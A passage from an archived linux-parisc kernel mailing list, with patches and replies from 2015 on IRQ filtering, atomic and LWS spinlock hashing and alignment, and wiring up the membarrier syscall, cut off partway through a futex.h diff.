Cc: <stable@vger.kernel.org>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index f3191db..c0eab24 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -507,8 +507,8 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	struct pt_regs *old_regs;
 	unsigned long eirr_val;
 	int irq, cpu = smp_processor_id();
-#ifdef CONFIG_SMP
 	struct irq_desc *desc;
+#ifdef CONFIG_SMP
 	cpumask_t dest;
 #endif
 
@@ -521,8 +521,12 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 		goto set_out;
 	irq = eirr_to_irq(eirr_val);
 
-#ifdef CONFIG_SMP
+	/* Filter out spurious interrupts, mostly from serial port at bootup */
 	desc = irq_to_desc(irq);
+	if (unlikely(!desc->action))
+		goto set_out;
+
+#ifdef CONFIG_SMP
 	cpumask_copy(&dest, desc->irq_data.affinity);
 	if (irqd_is_per_cpu(&desc->irq_data) &&
 	    !cpumask_test_cpu(smp_processor_id(), &dest)) {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and
 PA8900 CPUs
Date: Sat, 5 Sep 2015 23:30:34 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <55EB5EFA.4040407@gmx.de>
References: <20150902162000.GC2444@ls3530.box>
 <1441287043.2235.6.camel@HansenPartnership.com>
 <1441288665.2235.17.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1441488654 17675 80.91.229.3 (5 Sep 2015 21:30:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Sep 2015 21:30:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 05 23:30:44 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZYL2p-0001Xi-Jf
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 Sep 2015 23:30:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752293AbbIEVam (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Sep 2015 17:30:42 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:65436 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752133AbbIEVam (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Sep 2015 17:30:42 -0400
Original-Received: from [192.168.20.60] ([92.203.23.22]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MbaS9-1ZHUa02aFZ-00Iz7i; Sat, 05 Sep 2015 23:30:37
 +0200
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1441288665.2235.17.camel@HansenPartnership.com>
X-Provags-ID: V03:K0:QuQ+gYKB+o9pM7DPasyb8BuCucrtM+tMeU/xkRhql08oHzE7jkZ
 +SJZi7qStHv195ou2d2/TarB8nrop9N2uNMaizGE4jq54zqQQeHP/b/0uSy57WawEUUTv9v
 V3qVyiToUfxUTCpO6k1W+Uks6CwkFoFZ3em0J6fo/1j4mNci+j4tFo42R9OHfvRqxPps2eC
 FkkSg6HvhuRzGMyvCO2Xw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:10aschUsTxM=:4Z7hElCWTvu1Cr/Zh7efqu
 Gi19REZ6NH9dvbmKn6xj0cvFpaRJ1fuUbf8ON01d3wr7CZodhOkdYL8huprm/6uKyUQ2cmed5
 HNKkQJxxMLOcD3P8vA+kwSQoRDM9V2b3D1YIMCNDsyzmKV58rypinO8D6TpZ0Mn6R1pMa1Zcj
 AVZPB0VUUhmeNdelvm3Cpo/USGYeutOCDTloPaiues0FqT+e+kEOnFfdIPlN6R5weTlaOgKV5
 4jhZtMHoL+UFmBDOozvfylpRAUDN0CT0EGInoIG44yA7sPKAasHucuiMqQZz7Szcj7SSgLaX/
 aftdU2tcpkf8blic1i6o6/0KQo6hLaETDrwkxL1Aiyt4K17y7VRAJDaSQfxFKJNzTcS+Bc5eS
 4h04omXYLhfyZ8rYT0Fkq50V982QAYZYiMC9S6k6Qmn01I46ekJDeQNz3K3YfZ5XvpdB5cjmm
 UtwnX5BBTj75CXQ1UrTSTrjXTg9A1kbxvpTmjOix36mEGmXVrw7m9Rf20FnlZgsqAOixSi7Ln
 +J7TeyDui7KENkFYnxgDrKnBccHRUiuknArTFp9CmXy/4w7F7vmexBfjls1KcXFGVxpro/LaQ
 A9fT/FaeCgrdDrMaY7E9SPAO4ExbZsStVFrVpuIx+q9Q9Y5kvzMenL5QKyd5wKEXIk+HC2fz6
 tLW+xFpGiC7cQ+DjH7VOHKHJord/zU6HF+Dtk6WKWkZISofn6PAOfkYWBl54iEND1HkiKqve4
 FiqM3KxbdWFjPTKfd5fPcmLInW8EhGTpNl0QaQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26013
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26013>

Hi James,

On 03.09.2015 15:57, James Bottomley wrote:
> Having looked more closely at our atomics, we seem to have a bogus
> assumption about cache lines.  Our cache is perfectly capable of
> correctly writing to adjacent bytes in different lines even on different
> processors and having the external visibility sequenced accordingly.
> The reason we need the locks is for correctness not for cache coherence
> problems.  This means that we shouldn't hash all locks in the same line
> to the same lock because it introduces unnecessary contention in
> adjacent atomics which could be sorted out much faster by the cache
> logic.
> 
> The original way our hash worked would have been correct if the atomic_t
> were cache line aligned ... meaning only one atomic per cache line, but
> they're not, they have no alignment primitives.
> 
> On the same thought, to reduce atomic contention probabalistically, we
> should have a much larger atomic array, say 64 or 128 ... it's a single
> array of locks, so the amount of space consumed by expanding it isn't
> huge.
> 
> This patch should get rid of the bogus cache assumption and at the same
> time decrease our collision chances.  We should probably do some playing
> around to see what the best size for ATOMIC_HASH_SIZE is.

I haven't done any performance measurements yet, but your patch looks
absolutely correct.

Do you mind sending a full patch including your signed-off line, so that
I can include it?

Thanks,
Helge 

> diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
> index 226f8ca9..de3361b 100644
> --- a/arch/parisc/include/asm/atomic.h
> +++ b/arch/parisc/include/asm/atomic.h
> @@ -19,14 +19,13 @@
>  
>  #ifdef CONFIG_SMP
>  #include <asm/spinlock.h>
> -#include <asm/cache.h>		/* we use L1_CACHE_BYTES */
>  
>  /* Use an array of spinlocks for our atomic_ts.
>   * Hash function to index into a different SPINLOCK.
> - * Since "a" is usually an address, use one spinlock per cacheline.
> + * Since "a" is usually an address, use one spinlock per atomic.
>   */
> -#  define ATOMIC_HASH_SIZE 4
> -#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
> +#  define ATOMIC_HASH_SIZE 64
> +#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/sizeof(atomic_t)) & (ATOMIC_HASH_SIZE-1) ]))
>  
>  extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Align locks for LWS syscalls to L1 cache size
Date: Sat, 5 Sep 2015 23:48:30 +0200
Lines: 96
Approved: news@gmane.org
Message-ID: <55EB632E.9090009@gmx.de>
References: <20150902193840.GA4499@ls3530.box>
 <BLU437-SMTP56D79424A5305ECD3DC75F97690@phx.gbl>
 <20150902202911.GA5164@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1441489735 32244 80.91.229.3 (5 Sep 2015 21:48:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Sep 2015 21:48:55 +0000 (UTC)
To: John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 05 23:48:47 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZYLKE-0001x1-V1
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 Sep 2015 23:48:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752592AbbIEVsi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Sep 2015 17:48:38 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:53060 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752591AbbIEVsh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Sep 2015 17:48:37 -0400
Original-Received: from [192.168.20.60] ([92.203.23.22]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LomJ1-1Z0gGI17dL-00gs92; Sat, 05 Sep 2015 23:48:33
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20150902202911.GA5164@ls3530.box>
X-Provags-ID: V03:K0:aDt6MKmZGpiZntI7mOa2hm6x7ylYa0gMyV+ixlfvKQPCUEQRdTj
 dsvrgfh1luyiCkLNzKWzCryD4rvciNDTDXjfKiMP/r4kGYqopBIcazCGpQT+0SREXtJKKAC
 OE6W5WtQY90yGwyCgHAiZJDcnj3gVOC7zLFHUH1m7ZtlCJ3vD/durL0zLJE6tYjZUZoDHX1
 rpfELZYM3bFgyqdizfRxw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:gTKgp5xCtI4=:DiQyzRyCU+AoVWNae5UDfc
 EfqcVWRumBbjxntYO7ozD7W9q3PJ2RQWva1wcm6/goWMertFEWmcTVLIbZXCAu6j5g2dK1cHK
 tS7eZ6h8Eu7V1PSRi79jEDZ9RO0mOLvAQ6W0bzAM8NZ44pyI+hTVwfs0KhAcBZi1qondSkQHg
 q4qjmy6OYN5usNCyQpQa8gWGpb9AKZxG27AUotuusNJi7GXCJ5vBDN1gNhm4u1Tk0M2iSmq4w
 brGIaT7MsBtbv7wXnsNjIi3B9RTM/7xArbr62HSlcDm1Di1lHiWaRtXosac4OcvD1DesJb72a
 vr5LFb5lPNWt6HO6bwDGhPOU2sf1QaOTcmUeW4UB4ojBCTfuIkODm+mHO1EG1uW16DpSGPvdu
 DIhZ2euRUxS8d8yN4xZxKKzDLjwaSg+YLbxcHUuN/bgG1LSZaRgW9pAQRWWOq8dyUk2rU95U8
 LX1ekruea8t7tJITuSu87qZanNtyEA7JPj0vsgZXLzrwq147Ut4I0Wugu0ZGItNGj6nEF8Wi9
 5c4M4an1EpO3dfA/i2JFcLvM5ChvuP+PWfLnVR2mFL8XaRiz2Uk1T+JjrZyTeC6337j3000Y9
 vcsklH/70Z82kUIMi1A7F/qfBSYHoRFmZFN6LASL/5EyjNUxXkruC8Y/z6y9ylsnivq41yyCY
 dCcKliQNcFUO1LbbkY4/IzQVby5xpjnKgHbdgyHIwVlw3J18Z7izKKfwACSZmLBNebpaFHTx+
 b1bMz2Trf1TmH05LxErRI8cuN2oH8QkAj3YOgQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26014
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26014>

On 02.09.2015 22:29, Helge Deller wrote:
> parisc: Align locks for LWS syscalls to L1 cache size (v2)
> 
> Align the locks for the Light-weight-syscall (LWS) which are used
> for atomic userspace operations (e.g. gcc atomic builtins) on L1 cache
> boundaries. This should speed up LWS calls on PA20 systems.
> 
> Reported-by: John David Anglin <dave.anglin@bell.net>
> Signed-off-by: Helge Deller <deller@gmx.de>


Any objections to this patch ?
One idea below...


> 
> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> index 7ef22e3..80c2306 100644
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -561,9 +561,9 @@ lws_compare_and_swap:
>  	extru  %r26, 27, 4, %r20
>  
>  	/* Find lock to use, the hash is either one of 0 to
> -	   15, multiplied by 16 (keep it 16-byte aligned)
> +	   15, multiplied by L1_CACHE_BYTES (keep it L1 cache aligned)
>  	   and add to the lock table offset. */
> -	shlw	%r20, 4, %r20
> +	shlw	%r20, L1_CACHE_SHIFT, %r20
>  	add	%r20, %r28, %r20
>  
>  # if ENABLE_LWS_DEBUG
> @@ -751,9 +751,9 @@ cas2_lock_start:
>  	extru  %r26, 27, 4, %r20
>  
>  	/* Find lock to use, the hash is either one of 0 to
> -	   15, multiplied by 16 (keep it 16-byte aligned)
> +	   15, multiplied by L1_CACHE_BYTES (keep it L1 cache aligned)
>  	   and add to the lock table offset. */
> -	shlw	%r20, 4, %r20
> +	shlw	%r20, L1_CACHE_SHIFT, %r20
>  	add	%r20, %r28, %r20
>  
>  	rsm	PSW_SM_I, %r0			/* Disable interrupts */
> @@ -931,11 +931,9 @@ END(sys_call_table64)
>  ENTRY(lws_lock_start)
>  	/* lws locks */
>  	.rept 16
> -	/* Keep locks aligned at 16-bytes */
> +	/* Keep locks aligned to L1_CACHE_BYTES */
>  	.word 1
> -	.word 0 
> -	.word 0
> -	.word 0
> +	.align	L1_CACHE_BYTES
>  	.endr

I think this alignment/increase of each array entry to size of L1_CACHE_BYTES 
should be limited to the SMP case only... For UP 16 bytes would be ok. 

Helge



>  END(lws_lock_start)
>  	.previous
> 
> 
> diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
> index 49df148..47b075c 100644
> --- a/arch/parisc/include/asm/futex.h
> +++ b/arch/parisc/include/asm/futex.h
> @@ -15,7 +15,7 @@ static inline void
>  _futex_spin_lock_irqsave(u32 __user *uaddr, unsigned long int *flags)
>  {
>  	extern u32 lws_lock_start[];
> -	long index = ((long)uaddr & 0xf0) >> 2;
> +	long index = (((long)uaddr & 0xf0) >> 4) << (L1_CACHE_SHIFT-2);
>  	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
>  	local_irq_save(*flags);
>  	arch_spin_lock(s);
> @@ -25,7 +25,7 @@ static inline void
>  _futex_spin_unlock_irqrestore(u32 __user *uaddr, unsigned long int *flags)
>  {
>  	extern u32 lws_lock_start[];
> -	long index = ((long)uaddr & 0xf0) >> 2;
> +	long index = (((long)uaddr & 0xf0) >> 4) << (L1_CACHE_SHIFT-2);
>  	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
>  	arch_spin_unlock(s);
>  	local_irq_restore(*flags);

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.kernel
Subject: [PATCH v2 4/9] parisc: allocate sys_membarrier system call number
Date: Mon,  7 Sep 2015 12:15:51 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <1441642556-30972-5-git-send-email-mathieu.desnoyers@efficios.com>
References: <1441642556-30972-1-git-send-email-mathieu.desnoyers@efficios.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1441642686 1041 80.91.229.3 (7 Sep 2015 16:18:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Sep 2015 16:18:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	linux-api@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 07 18:17:57 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZYz7D-0007PQ-Px
	for glpp-linux-parisc@plane.gmane.org; Mon, 07 Sep 2015 18:17:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753955AbbIGQRz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Sep 2015 12:17:55 -0400
Original-Received: from mail.efficios.com ([78.47.125.74]:41718 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751143AbbIGQQi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Sep 2015 12:16:38 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id DC8DE3405A0;
	Mon,  7 Sep 2015 16:16:37 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id AWVLWtjkOlor; Mon,  7 Sep 2015 16:16:29 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id C21D234059B;
	Mon,  7 Sep 2015 16:16:29 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id Xsb6KBUpAHKa; Mon,  7 Sep 2015 16:16:29 +0000 (UTC)
Original-Received: from thinkos.etherlink (cable-192.222.213.99.electronicbox.net [192.222.213.99])
	by mail.efficios.com (Postfix) with ESMTPSA id 5244A3403FA;
	Mon,  7 Sep 2015 16:16:28 +0000 (UTC)
X-Mailer: git-send-email 2.1.4
In-Reply-To: <1441642556-30972-1-git-send-email-mathieu.desnoyers@efficios.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26015 gmane.linux.kernel.api:13910 gmane.linux.kernel:2033748
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26015>

Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Tested-by: Helge Deller <deller@gmx.de>
CC: Andrew Morton <akpm@linux-foundation.org>
CC: linux-api@vger.kernel.org
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: linux-parisc@vger.kernel.org
---
 arch/parisc/include/uapi/asm/unistd.h | 3 ++-
 arch/parisc/kernel/syscall_table.S    | 1 +
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 2e639d7..dadcada 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -358,8 +358,9 @@
 #define __NR_memfd_create	(__NR_Linux + 340)
 #define __NR_bpf		(__NR_Linux + 341)
 #define __NR_execveat		(__NR_Linux + 342)
+#define __NR_membarrier		(__NR_Linux + 343)
 
-#define __NR_Linux_syscalls	(__NR_execveat + 1)
+#define __NR_Linux_syscalls	(__NR_membarrier + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 8eefb12..4e77991 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -438,6 +438,7 @@
 	ENTRY_SAME(memfd_create)	/* 340 */
 	ENTRY_SAME(bpf)
 	ENTRY_COMP(execveat)
+	ENTRY_SAME(membarrier)
 
 
 .ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Align locks for LWS syscalls to L1 cache size
Date: Mon, 7 Sep 2015 22:51:50 +0200
Lines: 153
Approved: news@gmane.org
Message-ID: <20150907205150.GA4347@ls3530.box>
References: <20150902193840.GA4499@ls3530.box>
 <BLU437-SMTP56D79424A5305ECD3DC75F97690@phx.gbl>
 <20150902202911.GA5164@ls3530.box>
 <55EB632E.9090009@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1441659133 3681 80.91.229.3 (7 Sep 2015 20:52:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Sep 2015 20:52:13 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 07 22:52:06 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZZ3OR-0007qs-Ui
	for glpp-linux-parisc@plane.gmane.org; Mon, 07 Sep 2015 22:52:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751299AbbIGUv7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Sep 2015 16:51:59 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:54787 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751287AbbIGUv6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Sep 2015 16:51:58 -0400
Original-Received: from ls3530.box ([92.203.30.117]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MCPhl-1ZPwhn0DKL-0095tN; Mon, 07 Sep 2015 22:51:54
 +0200
Content-Disposition: inline
In-Reply-To: <55EB632E.9090009@gmx.de>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:CzJf9PooeIixErl+B4QL/fdkgxwSZtm4YuQtwHYVZQjAnfAdznq
 l7A68pE2tr/pXvBdfPWir1FxbvIix9hEWpD489ysX5U2XPbEfvkeJal0/4jqUSbuo2sZhAR
 ZLaAxOd0LSU+On5CI7+dPWwjJG+AAsDLZPNiiEYSBMioxE0VuQoamS0W3IveciMPhf+iwAz
 4HYLgJPJkBBagAwbObI9A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Jb4DFWfpBBE=:Q1PnZ+AtgY3FCTVVtIY1Du
 XTBao197dX4SxujQj4p6jHFpS0MqfG291h4+q14P7XltKKG7RVvDtt+XVZoEIZm25CwrRcjxj
 epLpt1QirvCQBhwbkF+is5aZRZNWpRPDxu4NocWbNOzGOxecfA6jl5x4nFCSagH+Tgi1IQxL3
 Lh12mU01mS7q5pn1L94nyGndtLoMuD+9fOrhNwPRpGKSPaEsYGAjj8sS5nZJmsGNOCIXls2Ou
 Q5MEbkxPasIN6JO/2SXD3BXvFsh2Ha0nVlxZT+U1EDuiQ+MAKNadK1SOOqkiA1Z8G2He2+2Xd
 kTJrSlNWrsdZUE6wjmX/W1uOY3lVrP7EEaPY4jD3a7Z71bHek7X/4QgIkWDHXUAmQD3T0L/yB
 pXpcA5YFSddFoCBlRCV6YM0kLZGK9BDB81cwqk1SdeuEe1RMjpEWoddSAkvMlnTCiFJcabJHm
 EYeexvEAUTWJavHdfEdYGKO1bzylrdj5DReAPIx03B0H199rqGd6//UV4ehaREiil/llFF0nZ
 PQD4YpMsOPr0dRqarqspfgDaRnokWZmKTeerNNnPIFzXZu/e/0Xt9KOcG4UrJLg9q50MFgtmW
 nUudxtDBHr5Ao2QP9zvr50ASCdOH8f9iQq7Bzt7Nwfw3TYIsErSYK/4Ml2QLcKqUUppSCuld3
 BLHAy9ctAoUXgnUUyfk88wEblbe5zsc91F4SiWAy3k+XkyeeC65NfVcR1v+gFOR5/OL6Z+UP4
 VKsE0Mc3gaMYRrGF
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26016
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26016>

* Helge Deller <deller@gmx.de>:
> On 02.09.2015 22:29, Helge Deller wrote:
> > parisc: Align locks for LWS syscalls to L1 cache size (v2)
> > 
> > Align the locks for the Light-weight-syscall (LWS) which are used
> > for atomic userspace operations (e.g. gcc atomic builtins) on L1 cache
> > boundaries. This should speed up LWS calls on PA20 systems.
> > 
> > Reported-by: John David Anglin <dave.anglin@bell.net>
> > Signed-off-by: Helge Deller <deller@gmx.de>

Updated patch (v2):
- using 64 LWS locks (instead of 16)
- LWS lock index is calculated by offset of u32 type, because futexes
  operate on u32 types (before based on 16 bytes)
- LWS locks aligned to 16byte on UP and to L1 cache size on SMP (to
  avoid different threads/processes locking each other on futexes at
  different addresses

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/include/asm/cache.h b/arch/parisc/include/asm/cache.h
index 47f11c7..bb3d952 100644
--- a/arch/parisc/include/asm/cache.h
+++ b/arch/parisc/include/asm/cache.h
@@ -22,6 +22,21 @@
 #define L1_CACHE_SHIFT 5
 #endif
 
+
+/* Number of Light-weight-syscall (LWS) spinlocks */
+#define LWS_NUM_LOCK_BITS	6
+#define LWS_NUM_LOCKS		(1 << LWS_NUM_LOCK_BITS)
+
+/* Number of bits for alignment of LWS locks.
+ * Needs to be at least 4 (=16 bytes) for safe operation of LDCW.  For SMP
+ * align locks on L1 cache size. */
+#ifdef CONFIG_SMP
+# define LWS_LOCK_ALIGN_BITS	L1_CACHE_SHIFT
+#else
+# define LWS_LOCK_ALIGN_BITS	4
+#endif
+
+
 #ifndef __ASSEMBLY__
 
 #define SMP_CACHE_BYTES L1_CACHE_BYTES
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 49df148..b79e469 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -7,16 +7,23 @@
 #include <linux/uaccess.h>
 #include <asm/atomic.h>
 #include <asm/errno.h>
+#include <asm/cache.h>
 
-/* The following has to match the LWS code in syscall.S.  We have
-   sixteen four-word locks. */
+/* The following has to match the LWS code in syscall.S. */
+static inline arch_spinlock_t *
+_lws_spinlockptr(u32 __user *uaddr)
+{
+	extern u8 lws_lock_start[]; /* in arch/parisc/kernel/syscall.S */
+	/* futexes operates on int values */
+	long index = (((unsigned long)uaddr >> 2) & (LWS_NUM_LOCKS-1));
+	index <<= LWS_LOCK_ALIGN_BITS;	/* multiply by alignment of the locks */
+	return (arch_spinlock_t *) &lws_lock_start[index];
+}
 
 static inline void
 _futex_spin_lock_irqsave(u32 __user *uaddr, unsigned long int *flags)
 {
-	extern u32 lws_lock_start[];
